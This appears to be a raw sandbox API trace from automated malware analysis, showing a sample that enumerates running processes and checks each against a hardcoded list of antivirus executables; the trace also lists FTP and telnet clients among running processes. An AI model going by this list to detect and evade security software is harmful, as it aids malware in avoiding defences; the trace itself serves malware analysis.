lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0292.274] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0292.274] Sleep (dwMilliseconds=0xa) [0292.318] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0292.319] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0292.320] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0292.320] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0292.320] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0292.320] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0292.320] Sleep (dwMilliseconds=0xa) [0292.369] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0292.370] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0292.371] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0292.371] Sleep (dwMilliseconds=0xa) [0292.412] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0292.412] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0292.413] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0292.459] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.555] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.600] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0292.650] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.695] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.740] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.788] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.834] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.881] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.896] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.943] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.054] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.152] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.189] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.236] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.282] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0293.330] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.377] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0293.424] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0293.470] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0293.518] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0293.565] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0293.613] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0293.657] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0293.717] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0293.751] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0293.816] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0293.861] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0293.918] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0293.956] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0294.001] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0294.049] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0294.095] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0294.189] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0294.278] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0294.329] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0294.424] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0294.472] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0294.520] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0294.568] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0294.620] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0294.667] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0294.713] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0294.760] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0294.807] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0294.854] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0294.901] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0294.963] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0295.042] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0295.088] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0295.147] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0295.183] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0295.229] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0295.339] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0295.386] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: lppe=0x287ec68*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0295.433] Process32Next (in: hSnapshot=0x324, lppe=0x287ec68 | out: 